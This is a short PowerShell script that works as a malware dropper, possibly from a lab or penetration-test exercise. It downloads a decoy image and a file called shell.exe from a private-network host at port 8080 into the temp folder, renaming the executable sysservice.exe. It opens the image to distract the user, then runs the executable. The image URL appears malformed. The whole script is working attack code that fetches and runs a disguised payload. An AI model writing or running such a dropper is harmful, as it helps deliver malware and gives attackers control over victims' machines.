# Define variables $imageurl = "https://img.wallpape15/DY8rsafari.com/desktop/" $exeurl = "http://10.10.1.22:8080/shell.exe" $tempDir = [System.Environment]::GetEnvironmentVariable("TEMP") $imageFilePath = Join-Path -Path $tempDir -ChildPath "image.jpg" $exeFilePath = Join-Path -Path $tempDir -ChildPath "sysservice.exe" # Download image and EXE files Invoke-WebRequest -Uri $imageurl -OutFile $imageFilePath Invoke-WebRequest -Uri $exeurl -OutFile $exeFilePath # Open the image file Invoke-Item $imageFilePath # Execute the downloaded EXE file Start-Process $exeFilePath